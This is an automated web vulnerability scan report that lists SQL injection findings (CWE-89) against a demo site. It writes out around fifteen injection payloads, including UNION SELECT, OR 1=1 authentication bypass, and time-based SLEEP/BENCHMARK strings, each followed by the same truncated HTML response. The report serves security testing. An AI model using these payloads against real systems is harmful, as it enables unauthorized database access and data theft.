Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #395
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #396
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #397
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioOR 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #398
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin') or '1'='1'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #399
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #400
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #401
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #402Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #403
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #404
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')
),4,5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #405
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5,6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #406
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or ("1"="1"--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #407
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #408
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #409
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io&&SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
